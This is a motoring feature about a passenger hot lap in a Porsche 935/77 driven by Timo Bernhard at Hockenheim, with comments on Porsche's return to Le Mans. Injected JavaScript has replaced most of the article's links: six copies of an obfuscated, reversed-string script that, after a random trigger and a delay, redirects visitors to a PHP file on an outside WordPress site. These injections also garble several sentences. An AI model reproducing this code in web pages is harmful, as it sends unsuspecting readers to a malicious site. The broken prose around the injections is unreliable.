Porsche 935 hot lap. Hockenheim. Meeting the heroes

Several hundred rose-tinted glasses, I imagine, just hit the lino. Mine included. I’m still pondering this illustrious history as I take a peak inside the cabin of the 935/77. Compared with the kilogram-shaved carbon fibre hubs indicative of motor racing today, the cockpit of 935/77 is remarkably civilised. There’s still the governing body appointed roll cage of course, but the almost recognisable 930 dashboard and jet fighter style instrument panels – I feel the need to knock them to get an accurate reading – just screams $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche, and makes for a wonderful trip down memory lane. It does hammer home just how far motorsport has come and why Porsche’s Mission 2014 – with $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/mark-webber/” target=”_blank”>soon-to-be former Formula 1 driver Mark Webber in tow – may not be the walk in the park many believe it will be.

“It will be a bit of a needle with Audi there,” Richard continues. “The public perception is that $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/porsche-lmp1-prototype-breaks-cover-le-mans-mission-2014/” target=”_blank”>[the Porsche LMP1] is a completely different car and Porsche is going in to exploit just how far ahead they are with technology and innovation. That technology should make it an interesting battle.”

Timo Bernhard, however – the not yet confirmed but wildly touted to be second member of Porsche’s LMP1 squad – seems fully confident as he strolls over (interviews in the bag), shakes my hand surprisingly firmly and climbs aboard 935 for our hot lap. Despite spending the past few hours pondering the company’s history and future at La Sarthe, and the manner in which this very car kept the momentum rolling in 1976 through 1982, I’m still a little lost for words when I eventually climb aboard. My dignified entrance into the cockpit is a little hampered by the fact that I sit on most of the racing harness, making the job of the gentleman who clicks them into place that much more difficult. Another quick handshake and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/porsche-meet-the-heroes-video/” target=”_blank”>a thumbs up to the go-pro I’m carrying, and Timo, the 935 and I are soon trundling down pitroad.

The first of our three laps is a sighter, mainly to warm up the tyres, get the oil pressure to optimum efficiency and make sure the brakes are alive. Saying that, the speed in which we take the Hockenheim circuit ‘easily’ is still astounding. The whole front end appears to rise up and attempt to hit me in the forehead when the right pedal is pushed, lag from the turbo flat-six taking a little while to disappear before the full force of near-800 horses can be felt. Through the corners (since Timo has put in a bit of practice earlier this morning), power is put down almost impossibly early to get the car balanced through the apex, maximising our straight line speed into the next turn in the process. That now famous grunt is enough to choke the air from your lungs, and yet so delicately is Timo holding the steering wheel – a firm grip would work against his lightning reflexes should the back end step out on us – that you’d think we were on a Sunday afternoon drive.

Under braking – again, amazingly late – the back end squirrels ever so slightly as the 935/77 lines up for a perfect arc through the apex of the corner. Gear changes (the manual gearlever in a world sportscar is still an odd sight) are hammered home with aplomb through the four-speed system, and while I daren’t lean across to see the speeds we’re hitting, the landscape begins to whizz past faster as Timo winds it up in the hot seat. The tyre wall surrounding the track limits seem suddenly much closer, but I’m fully confident Timo can keep us on the black stuff whilst wringing the neck of the 935. His cheery banter as we head through sweeping lefts and hard-braking rights suggest as much too. Our run lasts only a few minutes, and it’s safe to say that I could have spent most of the upcoming off-season in the passenger seat. Another hearty handshake and Timo moves onto the next person awaiting a passenger lap.

It’s been a strangely emotional day, given the moving museum that has been on the go since the early morning: even Richard Attwood helmeted up and took the 917 was a thrash. Surrounded as we are by Le Mans history, few would deny that Porsche – despite a lengthy hiatus and the Audi steamroller which has taken 12 wins from the last 14 races – still remain firmly in the hunt for victory at the world’s most famous endurance race next June. Given the manner in which motorsport technology and attitudes have moved on though, ably exemplified by crankandpiston’s Porsche 935/77 run today, that Mission 2014 will end on a high is far from certain.

Whether the next time we spend time with Porsche Le Mans heroes we will be praising eight cars and 17 victories at Le Mans remains to be seen. Given the company’s record though, I wouldn’t bet against it.

– To check out the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/porsche-meet-the-heroes-video/” target=”_blank”>video footage from crankandpiston.com’s time with the Porsche Heroes, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/porsche-meet-the-heroes-video/” target=”_blank”>follow the link – CLICK –

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